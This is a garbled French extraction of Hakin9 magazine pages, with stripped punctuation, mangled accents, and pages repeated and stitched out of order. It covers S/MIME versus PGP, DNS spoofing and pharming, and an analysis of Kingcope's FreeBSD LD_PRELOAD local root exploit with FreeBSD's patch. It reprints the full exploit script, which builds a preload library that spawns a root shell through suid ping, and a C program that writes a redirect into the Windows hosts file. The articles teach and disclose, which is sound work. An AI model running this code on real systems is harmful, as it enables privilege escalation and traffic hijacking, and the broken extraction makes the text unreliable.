conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 34: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 35: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

